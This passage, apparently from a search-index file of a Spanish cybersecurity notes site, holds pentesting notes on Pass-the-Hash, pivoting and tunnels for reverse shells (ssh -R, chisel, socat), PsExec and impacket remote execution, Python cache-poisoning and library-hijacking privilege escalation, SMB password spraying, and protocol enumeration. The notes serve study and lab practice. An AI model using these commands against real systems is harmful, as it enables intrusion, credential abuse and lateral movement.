en un futuro.\n","externalUrl":null,"permalink":"/notas/","section":"Notas","summary":"Notas de ciberseguridad, informática y posiblemente más cosas en un futuro.\n","title":"Notas","type":"notas"},{"content":" Introducción # Tanto en entornos AD y sistemas Windows independientes es posible realizar un ataque PtH, que consiste en usar el hash NTLM de un usuario ya autenticado y usarlo para autenticarnos en otros servicios, sin necesidad de una contraseña conocida.\nEsto es posible debido al funcionamiento de la autenticación NTLM:\nEn sistemas Windows sin AD, las credenciales del usuario se almacenan en el SAM como hashes NT, mientras que en entornos AD se almacenan (también como hashes) en los controladores de dominio (DC).\nCuando un usuario solicita iniciar sesión en una cuenta:\nEl servidor envía un challenge (número aleatorio de 16 bytes) al cliente. El cliente calcula el hash NT de la contraseña introducida por el usuario y encripta el challenge usando el hash como clave de cifrado. El servidor hace lo mismo con la credencial almacenada del usuario. Si las respuestas coinciden, se concede acceso. Esto se hizo con la idea de ni enviar contraseñas por la red ni almacenarlas en texto plano, pero si un atacante ya dispone del hash de las credenciales (p.ej, al extraerlas de memoria), parte del paso 2, con el hash de la contraseña real ya calculado, lo que implica que es suficiente con solicitar al servidor un challenge y cifrarlo con el hash para iniciar sesión sin tener la contraseña.\nTécnica # La aplicación de la técnica puede hacerse con herramientas como netexec, si ya tenemos el hash:\n1 netexec smb 10.10.11.87 -u Administrator -H \u0026lt;hash\u0026gt; ","externalUrl":null,"permalink":"/notas/tecnicas/pth/","section":"Notas","summary":"Introducción # Tanto en entornos AD y sistemas Windows independientes es posible realizar un ataque PtH, que consiste en usar el hash NTLM de un usuario ya autenticado y usarlo para autenticarnos en otros servicios, sin necesidad de una contraseña conocida.\nEsto es posible debido al funcionamiento de la autenticación NTLM:\nEn sistemas Windows sin AD, las credenciales del usuario se almacenan en el SAM como hashes NT, mientras que en entornos AD se almacenan (también como hashes) en los controladores de dominio (DC).\n","title":"Pass-The-Hash","type":"notas"},{"content":" Post Office Protocol # Resumen # POP3 es un protocolo de entrada (pull) que permite que los clientes accedan al correo electrónico disponible en sus cuentas una vez este ha sido entregado por el servidor SMTP.\nLas acciones realizadas sobre el correo (Archivar, borrar, etc.) en POP3 se realizan en el cliente. Éste descarga el correo localmente, normalmente borrándolo del servidor, y todos los cambios se hacen localmente, no se sincronizan.\nPuertos TCP 110, 995. 110 -\u0026gt; Puerto por defecto para POP3 995 -\u0026gt; Puerto para POP3 cifrado (POP3S) Conexión # La enumeración es prácticamente igual que para IMAP(S), solo cambian los comandos para inicio de sesión y para ver el correo.\nPodemos conectarnos con curl o netcat:\n1 2 $ curl -k pop3(s)://10.10.11.87 --user usuario@contraseña $ ncat 10.10.11.87 110 Tras conectarnos:\nUSER nombreusuario ⇒ Usuario PASS contraseña ⇒ Contraseña LIST ⇒ Listar Correo RETR ⇒ Ver X Mensaje QUIT ⇒ Salir Si la conexión es cifrada (POP3, p995), podemos usar openssl:\n1 $ openssl s_client -connect 10.10.11.87:995 ","externalUrl":null,"permalink":"/notas/protocolos/pop3/","section":"Notas","summary":"Post Office Protocol # Resumen # POP3 es un protocolo de entrada (pull) que permite que los clientes accedan al correo electrónico disponible en sus cuentas una vez este ha sido entregado por el servidor SMTP.\nLas acciones realizadas sobre el correo (Archivar, borrar, etc.) en POP3 se realizan en el cliente. Éste descarga el correo localmente, normalmente borrándolo del servidor, y todos los cambios se hacen localmente, no se sincronizan.\n","title":"POP3","type":"notas"},{"content":"","externalUrl":null,"permalink":"/tags/pop3/","section":"Tags","summary":"","title":"POP3","type":"tags"},{"content":" Port Forwarding Estático # Nota: Objetivo Mapear un puerto específico de una máquina a otra (relación 1 a 1). Útil para acceder a un servicio interno concreto o para recibir una reverse shell desde una subred aislada.\nEl PF Local trae un puerto remoto a la máquina local (P.ej traer un puerto interno de MySQL a nuestro dispositivo) El PF Remoto envía un puerto local al servidor remoto. (P.ej para hacer público un puerto de nuestra máquina hacia una subred y redirigir todo lo que llegue hacia nosotros) Linux / Multi # SSH: Local PF # Esto no requiere privilegios administrativos en la cuenta del servidor SSH, pero evidentemente sí requiere unas credenciales de usuario. Además, en la mayoría de implementaciones de OpenSSH, la capacidad de hacer PF local con -L está activada por defecto.\n1 2 3 ssh -L ([IP_LOCAL]:)[PUERTO_LOCAL]:[IP_INTERNA_SERVER]:[PUERTO_DESTINO] \u0026lt;user\u0026gt;@[IP_PUBLICA_SERVER] # \u0026#34;[IP_LOCAL]:\u0026#34; es opcional, si no se incluye se asume localhost Podemos hacer port forwarding de varios servicios a la vez:\n1 ssh -L 4321:localhost:3306 8000:localhost:80 usuario@10.10.11.87 SSH: Reverse PF # Si queremos conseguir una reverse shell desde una máquina en una subred interna, no podremos ejecutar el payload sin más, dado que la máquina interna no tiene una ruta definida para llegar hasta nuestra IP. Por esto mismo necesitamos configurar un port forwarding remoto (o reverso).\n1 ssh -R [IP_SERVIDOR]:[PUERTO_SERVIDOR]:[IP_LOCAL_ATACANTE]:[PUERTO_LOCAL_ATACANTE] Este comando creará un túnel bidireccional:\n[IP_SERVIDOR]:[PUERTO_SERVIDOR] \u0026lt;-\u0026gt; [IP_LOCAL_ATACANTE]:[PUERTO_LOCAL_ATACANTE] Todo lo que llegue a [IP_SERVIDOR]:[PUERTO_SERVIDOR] irá a parar a nuestra máquina, y viceversa.\nP.ej, si tenemos una máquina pivote con ip pública 10.10.11.87 e ip en una subred 10.10.12.87 en 10.10.12.0/24, y una máquina objetivo con ip 10.10.12.88:\n1 ssh -R 10.10.12.87:8080:127.0.0.1:4321 usuario@10.10.11.87 Socat: Local PF # Socat es una herramienta que sirve para crear vías de comunicación bidireccionales. Necesitamos acceso a la víctima, pero no sus credenciales.\nPara hacer PF Local\n1 victima@10.10.11.87:~$ socat TCP4-LISTEN:[PUERTO_PIVOTE],fork,reuseaddr TCP4:[IP_INTERNA_SERVER]:[PUERTO_SERVER_INTERNO] TCP4-LISTEN:[PUERTO_PIVOTE] pone en escucha 0.0.0.0:[PUERTO_PIVOTE] fork hace que con cada conexión se cree un proceso hijo que la gestione (lo que permite manejar varias a la vez) TCP4:[IP_INTERNA_SERVER]:[PUERTO_SERVER_INTERNO] es el socket al que se redirigen los datos Windows # Netsh (Portproxy): Local PF # Netsh es una herramienta incluida por defecto en Windows que sirve para gestionar interfaces de red, conexiones, y, además, proxies. Para crear un proxy en una máquina pivote necesitaremos privilegios de administrador.\nPara crear un redireccionamiento que reciba conexiones en un puerto de la IP pública del pivote y las redirija hacia un servidor interno:\n1 C:\\Windows\\system32\u0026gt; netsh.exe interface portproxy add v4tov4 listenport=[PUERTO_PÚBLICO_PIVOTE] listenaddress=[IP_PÚBLICA_PIVOTE] connectport=[PUERTO_SERVER_INTERNO] connectaddress=[IP_SERVER_INTERNO] Acceso dinámico a subredes: # PF Dinámico, SOCKS Proxying # Nota: Objetivo Convertir a la máquina víctima en un router/proxy. Permite interactuar con toda una subred interna sin tener que abrir múltiples túneles independientes manualmente.\nConsideraciones sobre herramientas (Proxychains) # Aquí hay que tener cuidado si nos preocupa además ocultar nuestra IP, pues según que herramienta usemos, puede que se filtre. ping usa ICMP (capa 3), que ignora por completo los proxies (y o no funcionará o filtrará nuestra IP directamente); nmap con -sT funciona, pero los escaneos con ping o -sS no funcionan, y algunos de sus scripts tampoco lo harán.\nPodemos usar proxychains para ejecutar herramientas a través de proxies, como pueden ser tor (127.0.0.1:9050) o incluso un servidor SSH que hayamos comprometido (con -D), pero en cualquier caso proxychains debe estar configurado con el proxy que queramos usar (/etc/proxychains.conf).\nNmap a través de proxychains # Para escanear una IP específica a través del proxy (debe ser escaneo -sT con ICMP echo desactivado):\n1 proxychains nmap -Pn -sT -v 10.10.12.88 Para escanear una subred entera en busca de algunos dispositivos vivos podemos usar:\n1 proxychains nmap -sT -Pn -n -v --top-ports=10 10.10.12.0/24 Esto mira los 10 puertos más comunes (se pueden aumentar) en todas las direcciones IP de la subred 10.10.11.0/24 usando el TCP Full scan. -Pn desactiva ICMP pings, -n desactiva resoluciones DNS.\nLinux / Multi # SSH: Dynamic PF # Esto no requiere privilegios administrativos en la cuenta del servidor SSH, pero evidentemente sí requiere unas credenciales de usuario.\nPara abrir un puerto local que actúe como proxy SOCKS:\n1 ssh -D [PUERTO_LOCAL_PROXY] \u0026lt;user\u0026gt;@[IP_SERVIDOR] Desde ahí, todo el tráfico enviado a 127.0.0.1:[PUERTO_LOCAL_PROXY] será enrutado y ejecutado desde la máquina pivote ([IP_SERVIDOR]).\nEn la mayoría de implementaciones de OpenSSH, la capacidad de tunelizar dinámicamente con -D está activada por defecto.\nChisel: Proxying / Tunneling # Chisel es una herramienta escrita en Go que permite crear túneles entre dos dispositivos y transmitir datos cifrados usando SSH.\nInstalación # Aunque podemos descargar binarios precompilados, para compilarlo haríamos lo siguiente:\n1 2 3 4 5 6 7 8 9 10 # Máquina ATACANTE: git clone https://github.com/jpillora/chisel.git cd chisel # Compilar (strippeando tabla de símbolos e info de debugging para reducir tamaño) go build -ldflags=\u0026#34;-s -w\u0026#34; # Opcional: Comprimir el archivo con UPX # Determinados AV podrían detectarlo como malicioso aunque no lo sea, dado que ciertos # malware también suelen comprimirse y encodearse con UPX y los AV detectan sus firmas. upx --brute chisel Una vez tengamos el binario, tendremos que pasarlo al servidor de algún modo.\nNota: Versiones de Glibc En función de la versión de Glibc en el servidor, puede darse el caso de que al ejecutarlo aparezca un error como version GLIBC_2.34 not found. En tal caso una posible solución será descargar un binario precompilado de Chisel disponible en Github, p.ej, para x86_64, chisel_[version]_linux_amd64.gz.\nBind Proxy # En el servidor que usaremos como pivote, ejecutamos lo siguiente:\n1 2 # Pivote chisel server -v -p [PUERTO] --socks5 Y en nuestra máquina atacante:\n1 2 # Atacante chisel client -v [IP_PIVOTE]:[PUERTO] socks Esto abrirá un puerto en localhost que podremos usar como proxy con, p.ej, proxychains.\nReverse Proxy # Aunque en el punto anterior hemos usado el servidor como servidor del proxy, la mayoría de veces habrá un firewall que bloquee nuestras conexiones. Para solucionar esto podemos usar chisel al revés, con nuestra máquina como servidor.\n1 2 # Atacante sudo chisel server --reverse -v -p [PUERTO] --socks5 1 2 # Pivote chisel client -v [IP_ATACANTE]:[PUERTO] R:socks Windows # Plink (PuTTY): Dynamic PF # Plink (PuTTY Link) es una herramienta de CLI de Windows que permite conectarse por SSH a otros dispositivos. Hasta 2018, Windows no tenía un cliente ssh nativo, así que los administradores se tenían que descargar uno, y, en su momento, el de preferencia era PuTTY. Si el sistema tiene SSH, posiblemente tenga PuTTY, y por lo tanto Plink.\nPodemos crear un túnel dinámico (igual al de ssh -D) de la siguiente manera:\n1 plink -ssh -D [PUERTO_LOCAL_PROXY] \u0026lt;user\u0026gt;@[IP_SERVIDOR] Esto creará un túnel desde 127.0.0.1:[PUERTO_LOCAL_PROXY] hasta [IP_SERVIDOR], que actuará como nuestro proxy.\nEnrutamiento transparente (Auto-routing) # Nota: Objetivo Interactuar con la red interna directamente modificando las tablas de enrutamiento del sistema atacante, eliminando la necesidad de usar wrappers como proxychains.\nLinux (Atacante) # Sshuttle # Sshuttle es una herramienta que automatiza la configuración de iptables y de rutas en la propia máquina atacante para poder acceder a una subred interna a través de un pivote de forma transparente.\nP.ej, para poder acceder a la subred [SUBRED_INTERNA], a la que solo es posible acceder desde [PIVOTE], directamente, necesitaríamos usar SSH o similares, pero con sshuttle podemos hacer lo siguiente:\n1 sudo sshuttle -r \u0026lt;user\u0026gt;@[PIVOTE] [SUBRED_INTERNA] -v E inmediatamente intentar acceder con cualquier otra herramienta a una IP de [SUBRED_INTERNA] de forma directa, sin necesidad de usar proxychains.\n","externalUrl":null,"permalink":"/notas/tecnicas/port-forwarding/","section":"Notas","summary":"Port Forwarding Estático # Nota: Objetivo Mapear un puerto específico de una máquina a otra (relación 1 a 1). Útil para acceder a un servicio interno concreto o para recibir una reverse shell desde una subred aislada.\n","title":"Port Forwarding","type":"notas"},{"content":"","externalUrl":null,"permalink":"/tags/privesc/","section":"Tags","summary":"","title":"Privesc","type":"tags"},{"content":"","externalUrl":null,"permalink":"/tags/protocolo/","section":"Tags","summary":"","title":"Protocolo","type":"tags"},{"content":"","externalUrl":null,"permalink":"/notas/protocolos/","section":"Notas","summary":"","title":"Protocolos","type":"notas"},{"content":" Explicación e implementación básica # PsExec es una herramienta que permite ejecutar procesos en otros sistemas de la red sin tener que instalar nada manualmente. Hay varias implementaciones de la herramienta:\nPor defecto, al ejecutar psexec.exe:\nEl programa copia el ejecutable PSEXESVC.exe, ubicado dentro del propio psexec.exe, al share ADMIN$ del objetivo (A través de SMB, y que apunta a C:\\Windows) Mediante el API de servicios de Windows (SVCCTL RPC), contactando con él a través de MSRPC (p135) o de named pipes (Share $IPC, p139,445), crea un nuevo servicio con el ejecutable subido antes, con privilegios SYSTEM. Ese nuevo servicio crea varios named pipes nuevos en el share a través de los cuales tendrá lugar la comunicación. Al terminar, PsExec detiene el servicio y lo borra del sistema, pero el binario de C:\\Windows puede quedar ahí, lo que deja rastro de la conexión. Por esto último hay otras implementaciones, algunas que siguen el modelo original, pero reescritas en otros lenguajes, y otras que se ejecutan únicamente en memoria.\nOtras implementaciones # Impacket PsExec: Versión en python, usa RemComSvc en lugar de PSEXESVC.exe Impacket SMBExec: Monta un servidor SMB en la máquina local en el que la víctima escribe el output de los comandos. Impacket Atexec: Crea una tarea inmediata en el task scheduler de Windows por cada comando, escribe su output al share, lo lee y lo borra. (Solo permite comandos individuales, no sesiones interactivas) Netexec: Herramienta de post-explotación que integra muchas de éstas. Metasploit psexec_psh: Implementación en memoria, sin tocar el disco, usando IEX de Powershell. Más info aquí Uso # Para usar cualquier implementación de PSExec generalmente necesitaremos privilegios administrativos (y en este caso también nos sirven hashes, así que podremos usar PtH)\nPara Impacket-PsExec/-AtExec/-SMBExec:\n1 impacket-psexec administrator:\u0026#39;PassWordABC123\u0026#39;@10.10.11.87 Para netexec/crackmapexec:\n1 netexec smb 10.10.11.87 --local-auth -u Administrator -p \u0026#39;PassWordABC123\u0026#39; --exec-method [smbexec/psexec/atexec] Por defecto netexec usa atexec, tenemos que especificar manualmente si queremos otra implementación.\n","externalUrl":null,"permalink":"/notas/tecnicas/psexec/","section":"Notas","summary":"Explicación e implementación básica # PsExec es una herramienta que permite ejecutar procesos en otros sistemas de la red sin tener que instalar nada manualmente. Hay varias implementaciones de la herramienta:\nPor defecto, al ejecutar psexec.exe:\nEl programa copia el ejecutable PSEXESVC.exe, ubicado dentro del propio psexec.exe, al share ADMIN$ del objetivo (A través de SMB, y que apunta a C:\\Windows) Mediante el API de servicios de Windows (SVCCTL RPC), contactando con él a través de MSRPC (p135) o de named pipes (Share $IPC, p139,445), crea un nuevo servicio con el ejecutable subido antes, con privilegios SYSTEM. Ese nuevo servicio crea varios named pipes nuevos en el share a través de los cuales tendrá lugar la comunicación. Al terminar, PsExec detiene el servicio y lo borra del sistema, pero el binario de C:\\Windows puede quedar ahí, lo que deja rastro de la conexión. Por esto último hay otras implementaciones, algunas que siguen el modelo original, pero reescritas en otros lenguajes, y otras que se ejecutan únicamente en memoria.\n","title":"PSExec","type":"notas"},{"content":"","externalUrl":null,"permalink":"/tags/psexec/","section":"Tags","summary":"","title":"PSExec","type":"tags"},{"content":"","externalUrl":null,"permalink":"/posts/","section":"Publicaciones","summary":"","title":"Publicaciones","type":"posts"},{"content":"El python cache poisoning es una vulnerabilidad (o técnica, según se mire) que permite escalar privilegios aprovechando la confianza de Python en archivos bytecode (.pyc) precompilados de scripts que ejecuta (normalmente con privilegios elevados).\nCuando Python ejecuta un script o importa una librería, hace lo siguiente:\nSi no existe una versión precompilada, compila el código fuente a bytecode, que normalmente se almacena en __pycache__/NOMBRELIB.cpython-VERSION.pyc o (menos común) bajo un prefijo PYTHONPYCACHEPREFIX. Si existe una versión precompilada, comprueba la cabecera (Magic Number que depende de la versión de Python, flags, metadatos como timestamp, size o hash), y, si al compararla con el .py original está bien, la ejecuta confiando en el .pyc. Nota: Escalada de privilegios Si un proceso con más privilegios ejecuta un .py o importa un módulo cuyo .pyc ha sido manipulado por un usuario menos privilegiado (y pasa la comprobación de cabecera), el payload corre con esos privilegios elevados.\nNota: Windows vs Linux El mecanismo de .pyc y __pycache__ es igual en Linux, Windows y macOS; solo cambian rutas y permisos. Lo más normal es ver esta vulnerabilidad en Linux, pero en Windows podría darse el caso.\nCaso Común: Permiso de escritura en __pycache__ junto a script privilegiado # Aparece en máquinas de HTB, consiste en lo siguiente:\nScript de python ejecutado como usuario privilegiado Permisos de escritura para todos en carpeta __pycache__ Script importa módulos locales El exploit es el siguiente:\nSe compila un exploit a .pyc con la misma versión de Python (si no fallará las comprobaciones) 1 2 3 4 $ python3.12 -m py_compile exploit.py $ ls __pycache__ exploit.cpython-312.pyc # Esto habrá que fusionar con el pyc original Se lee el .py legítimo (del módulo) para robarle mtime y size, se escriben a la cabecera del .pyc Se sobrescribe el .pyc bueno con el malicioso. Si no existe aún puede compilarse el .py legítimo con el mismo comando que con el exploit. Cuando el script llame a import modulo, python verá un .pyc válido que pasará las comprobaciones, lo importará y ejecutará. Hay un script que automatiza los pasos 2 y 3.\n","externalUrl":null,"permalink":"/notas/tecnicas/python-cache-poisoning/","section":"Notas","summary":"El python cache poisoning es una vulnerabilidad (o técnica, según se mire) que permite escalar privilegios aprovechando la confianza de Python en archivos bytecode (.pyc) precompilados de scripts que ejecuta (normalmente con privilegios elevados).\nCuando Python ejecuta un script o importa una librería, hace lo siguiente:\nSi no existe una versión precompilada, compila el código fuente a bytecode, que normalmente se almacena en __pycache__/NOMBRELIB.cpython-VERSION.pyc o (menos común) bajo un prefijo PYTHONPYCACHEPREFIX. Si existe una versión precompilada, comprueba la cabecera (Magic Number que depende de la versión de Python, flags, metadatos como timestamp, size o hash), y, si al compararla con el .py original está bien, la ejecuta confiando en el .pyc. Nota: Escalada de privilegios Si un proceso con más privilegios ejecuta un .py o importa un módulo cuyo .pyc ha sido manipulado por un usuario menos privilegiado (y pasa la comprobación de cabecera), el payload corre con esos privilegios elevados.\n","title":"Python Cache Poisoning","type":"notas"},{"content":"El Python Library Hijacking es una técnica de escalada de privilegios que consiste en aprovechar la forma en la que Python busca las librerías para cargar código malicioso en lugar de las librerías originales.\nFuncionamiento # Python busca módulos en un órden específico definido por sys.path, que puede verse de la siguiente manera:\n1 2 $ python3 -c \u0026#39;import sys; print(sys.path)\u0026#39; [\u0026#39;\u0026#39;, \u0026#39;/usr/lib/python312.zip\u0026#39;, \u0026#39;/usr/lib/python3.12\u0026#39;, \u0026#39;/usr/lib/python3.12/lib-dynload\u0026#39;, \u0026#39;/usr/local/lib/python3.12/dist-packages\u0026#39;, \u0026#39;/usr/lib/python3/dist-packages\u0026#39;] Normalmente, el orden es el siguiente:\nEl directorio que contiene el script a ejecutar (definido por '') Directorios especificados en la variable env PYTHONPATH (No aparece) Directorios estándar del sistema Para explotarlo, un atacante necesitaría uno de estos:\nPermiso de escritura en el directorio del script Poder pasar la variable PYTHONPATH al script al ejecutarlo con sudo (normalmente se limpian las variables de entorno para evitar esto precisamente) Permiso de escritura para una de las librerías estándar (sería raro) Si un usuario tiene alguno de estos y conoce alguna librería que carga el script, p.ej random, puede crear un archivo random.py en el directorio al que tiene acceso y, cuando se ejecute el script, primero cargará el random.py malicioso que, p.ej, dará un shell como un usuario privilegiado.\n","externalUrl":null,"permalink":"/notas/tecnicas/python-library-hijacking/","section":"Notas","summary":"El Python Library Hijacking es una técnica de escalada de privilegios que consiste en aprovechar la forma en la que Python busca las librerías para cargar código malicioso en lugar de las librerías originales.\nFuncionamiento # Python busca módulos en un órden específico definido por sys.path, que puede verse de la siguiente manera:\n1 2 $ python3 -c 'import sys; print(sys.path)' ['', '/usr/lib/python312.zip', '/usr/lib/python3.12', '/usr/lib/python3.12/lib-dynload', '/usr/local/lib/python3.12/dist-packages', '/usr/lib/python3/dist-packages'] Normalmente, el orden es el siguiente:\n","title":"Python Library Hijacking","type":"notas"},{"content":"","externalUrl":null,"permalink":"/tags/python-library-hijacking/","section":"Tags","summary":"","title":"Python Library Hijacking","type":"tags"},{"content":" Remote Desktop Protocol # Resumen # Protocolo propietario de Microsoft que permite una GUI para conectarse a otro dispositivo por la red.\nPuerto TCP 3389. Conexión # 1 xfreerdp /u:\u0026#39;user\u0026#39; /p:\u0026#39;password\u0026#39; /v:10.10.11.87 ","externalUrl":null,"permalink":"/notas/protocolos/rdp/","section":"Notas","summary":"Remote Desktop Protocol # Resumen # Protocolo propietario de Microsoft que permite una GUI para conectarse a otro dispositivo por la red.\nPuerto TCP 3389. Conexión # 1 xfreerdp /u:'user' /p:'password' /v:10.10.11.87 ","title":"RDP","type":"notas"},{"content":"","externalUrl":null,"permalink":"/tags/rdp/","section":"Tags","summary":"","title":"RDP","type":"tags"},{"content":" Remote Procedure Call # Resumen # RPC es un protocolo que permite que un programa ejecute código o funciones en otro dispositivo remoto y reciba su output (return) como si ese código se hubiese ejecutado localmente.\nAl hablar de los puertos hay que distinguir entre el Endpoint Mapper y los servicios RPC (Funciones) en sí, que pueden estar a la escucha en muchos puertos diferentes (TCP, UDP, HTTP, SMB\u0026hellip;)\nPuerto TCP/135 -\u0026gt; RCP Endpoint Mapper. Indica a los clientes qué servicios RPC están disponibles y cómo acceder a ellos. RPC puede usarse mediante diferentes métodos de comunicación entre cliente-servidor:\nncacn_ip_tcp: RPC sobre TCP La función RPC estará en escucha en un puerto alto aleatorio que puede consultarse al mapper. ncacn_np: RPC sobre SMB Se accede al servicio RPC sobre SMB (TCP/445) en el share oculto IPC$. ncacn_http: RPC sobre HTTP(S) Se accede al servicio RPC sobre HTTP(S), (TCP/80 \u0026amp; TCP/443) ncacn_nb_tcp: RPC sobre NetBIOS Se accede al servicio RPC sobre NetBIOS (TCP/139). ncacn_ip_udp: RPC sobre UDP Similar al caso de TCP pero sobre UDP. Enumeración del servidor # ncacn_np: RPC sobre SMB # En este caso, aunque el mapper no esté en escucha (TCP/135 cerrado), sigue siendo posible enumerar mientras SMB esté en escucha porque las funciones RPC de SMB están hardcodeadas y son conocidas, así que no hace falta preguntárselas.\n1 2 3 4 5 # Conexión sin credenciales rpcclient -U \u0026#39;\u0026#39; -N //10.10.11.87 # Conexión con credenciales rpcclient -U \u0026#39;DOMAIN\\username%password\u0026#39; //10.10.11.87 ncacn_ip_tcp: RPC sobre TCP # En máquinas Windows con el entorno de AD (o sus servicios comunes como SMB), suele poder verse en la enumeración una gran cantidad de puertos altos abiertos (alrededor del puerto 40000). Estos son los casos de RPC sobre TCP.\nAunque puede ser útil enumerarlos en casos específicos, los servicios de estos puertos suelen no dar demasiada info y aquellos relevantes suelen ser también accesibles mediante SMB (IPC$).\n1 2 3 4 5 6 #Enumeración de endpoints de funciones #El puerto 135 es el puerto por defecto para el mapper rpcdump.py 10.10.11.87 -p 135 # O su alternativa impacket-rpcdump 10.10.11.87 -p 135 ","externalUrl":null,"permalink":"/notas/protocolos/rpc/","section":"Notas","summary":"Remote Procedure Call # Resumen # RPC es un protocolo que permite que un programa ejecute código o funciones en otro dispositivo remoto y reciba su output (return) como si ese código se hubiese ejecutado localmente.\nAl hablar de los puertos hay que distinguir entre el Endpoint Mapper y los servicios RPC (Funciones) en sí, que pueden estar a la escucha en muchos puertos diferentes (TCP, UDP, HTTP, SMB…)\n","title":"RPC","type":"notas"},{"content":"","externalUrl":null,"permalink":"/tags/rpc/","section":"Tags","summary":"","title":"RPC","type":"tags"},{"content":"","externalUrl":null,"permalink":"/series/","section":"Series","summary":"","title":"Series","type":"series"},{"content":" Server Message Block # Resumen # SMB es un protocolo que permite el acceso compartido a recursos como archivos, directorios o impresoras (entre otros). También sirve como túnel para comunicación entre procesos (IPC).\nLos puertos sobre los que se expone dependen del protocolo sobre el que se ejecuta, pueden aparecer ambos activos a la vez:\nTCP/139 -\u0026gt; SMB ejecutado sobre NetBIOS sobre TCP/IP. Obsoleto pero se suele mantener abierto para tener retrocompatibilidad con sistemas legacy. TCP/445 -\u0026gt; SMB ejecutado sobre TCP/IP directamente. El método \u0026ldquo;moderno\u0026rdquo;. Enumeración # Linux # Para listar los shares disponibles en una determinada IP:\n1 2 3 4 5 6 7 8 9 10 smbclient -N -L //10.10.11.87 # -N indica login sin proporcionar credenciales. Puede (y es probable) que se dé el caso en que esto no esté permitido. # -L sirve para listar los shares. #Output: Sharename Type Comment --------- ---- ------- print$ Disk Documentos Disk Documentos Secretos IPC$ IPC Otros programas para enumerar que pueden ser útiles:\nSMBMap enum4linux Usa varias herramientas manuales (rpcclient, smbclient, etc.) para automatizar la enumeración del servidor SMB. Para enumerar SMB mediante MSRPC, podemos acceder a RPC a través de SMB usando rpcclient:\n1 rpcclient -U \u0026#34;\u0026#34; 10.10.11.87 RPCClient usa MSRPC sobre SMB, la comunicación se establece mediante los named pipes (IPC$) de SMB, no sobre el puerto 135 del endpoint mapper. Para más info mirar rpc.md.\nSi se permite la conexión, podremos consultar más información.\n1 2 3 4 5 6 rpcclient $\u0026gt; help srvinfo enumdomains querydominfo enumdomusers ... Para determinados queries necesitaremos los RID del usuario específico, podemos sacarlos por fuerza bruta con samrdump:\n1 samrdump.py 10.10.11.87 Windows # Para listar archivos en un share desde cmd/powershell:\n1 2 dir \\\\10.10.11.87\\Documentos Get-ChildItem \\\\10.10.11.87\\Documentos #Solo Powershell Conexión y montaje # Linux # Para conectarse a determinado share (desde Linux):\n1 smbclient //10.10.11.87/Documentos Para montar un share como partición:\n1 sudo mount -t cifs -o username=\u0026#34;admin\u0026#34;,password=\u0026#34;iLoveYou\u0026#34; //10.10.11.87/Documentos /mnt/mountpoint Windows # Para conectarse a determinado share (desde Windows, GUI):\nPulsar [WIN]+[R], en la ventana \u0026ldquo;ejecutar\u0026rdquo; que se abra:\n1 \\\\10.10.11.81\\Documentos Bruteforcing # Si no podemos enumerar archivos sin autenticarnos y necesitamos unas credenciales de las que no disponemos, podemos usar netexec para hacer bruteforce o password spraying:\n1 netexec smb 10.10.11.87 -u /usr/share/wordlists/users.txt -p \u0026#39;iLoveYou\u0026#39; --local-auth Es necesario poner --local-auth si quieremos autenticarnos con el SAM del servidor si no hay AD DC disponible, netexec no recurre a la autenticación contra el SAM automáticamente si no se detecta un Domain Controller.\nPass-the-Hash (PtH) # Mirar Pass-the-Hash\nMovimiento lateral # SMB se usa como canal de comunicación para la subida de archivos y la recepción y envío de comandos y respuestas al usar PsExec. Más info en movimiento lateral\n","externalUrl":null,"permalink":"/notas/protocolos/smb/","section":"Notas","summary":"Server Message Block # Resumen # SMB es un protocolo que permite el acceso compartido a recursos como archivos, directorios o impresoras (entre otros). También sirve como túnel para comunicación entre procesos (IPC).\nLos puertos sobre los que se expone dependen del protocolo sobre el que se ejecuta, pueden aparecer ambos activos a la vez:\n","title":"SMB","type":"notas"},{"content":"","externalUrl":null,"permalink":"/tags/smb/","section":"Tags","summary":"","title":"SMB","type":"tags"},{"content":" Simple Mail Transfer Protocol # Resumen # SMTP es un protocolo de salida (push) de la capa de aplicación que se encarga de entregar los correos electrónicos a su destino. Al enviar un email, el cliente de correo del usuario se conecta con un servidor SMTP que lo transmite hasta el servidor SMTP destinatario, que lo transmite al servidor IMAP/POP3 correspondiente para que el cliente lo recoja cuando quiera.\nEl diagrama es algo así (para un email desde una cuenta de Gmail a una de Protonmail):\n1 2 3 4 5 1. Cliente (p.ej Thunderbird o Gmail) 2. Servidor SMTP 1 (p.ej servidor de Gmail) 3. Servidores SMTP intermedios (SMTP Relays) 4. Servidor SMTP destino (P.ej SMTP de Protonmail) 5. Servidor IMAP/POP3 (Email almacenado). Cuando el receptor quiere mirar su correo, accede al servidor IMAP/POP3 (O app web de correo) y recoge su correo entrante.\nPuertos TCP 25, TCP 587. TCP/25 -\u0026gt; Puerto SMTP por defecto, sin cifrar. TCP/587 -\u0026gt; Puerto SMTP cifrado (SMTPS) Enumeración # Un servicio SMTP expuesto nos permite enumerar principalmente su versión y nombres de usuario válidos del SO.\nHay varios métodos para enumerar usuarios. Podemos hacerlo manualmente mediante netcat:\n1 2 3 4 5 6 7 8 netcat -vn 10.10.11.87 25 Ncat: Connected to 10.10.11.87:25. 220 #vulnmachine ESMTP Postfix (Ubuntu) vrfy admin@vulnserver.htb 250 2.0.0 admin@vulnserver.htb # Recibir códigos 250,251 y 252 significa que existe el usuario. # Recibir un código 550 significa que no existe. Esto puede automatizarse con varias herramientas:\nMetasploit: auxiliary/scanner/smtp/smtp_enum Nmap: sudo nmap -p 25 --script=smtp-enum-users 10.10.11.87 ","externalUrl":null,"permalink":"/notas/protocolos/smtp/","section":"Notas","summary":"Simple Mail Transfer Protocol # Resumen # SMTP es un protocolo de salida (push) de la capa de aplicación que se encarga de entregar los correos electrónicos a su destino. Al enviar un email, el cliente de correo del usuario se conecta con un servidor SMTP que lo transmite hasta el servidor SMTP destinatario, que lo transmite al servidor IMAP/POP3 correspondiente para que el cliente lo recoja cuando quiera.\n","title":"SMTP","type":"notas"},{"content":"","externalUrl":null,"permalink":"/tags/smtp/","section":"Tags","summary":"","title":"SMTP","type":"tags"},{"content":" Simple Network Management Protocol # Resumen # SNMP es un protocolo que permite la gestión remota de dispositivos de red, generalmente IoT, routers, switches y demás.\nPara garantizar una compatibilidad entre todos los fabricantes, se usa un formato llamado MIB para guardar los datos (Management information Base). Esta MIB representa la \u0026ldquo;estructura\u0026rdquo; de los datos que pueden solicitarse al servidor. En ella, todo son OIDs (Object Identifiers), que a su vez pueden ser nodos o referencias a otros nodos (de forma análoga a varios directorios y los archivos en ellos).\nEn la MIB no hay datos guardados, solo está la estructura de esos datos, las indicaciones de qué OID corresponde a cada dato. Los datos reales se guardan en cada servidor SNMP, pero conocer el OID de un dato no garantiza poder acceder a él, su acceso está protegido por:\nCommunity Strings: Determinan permisos read-write 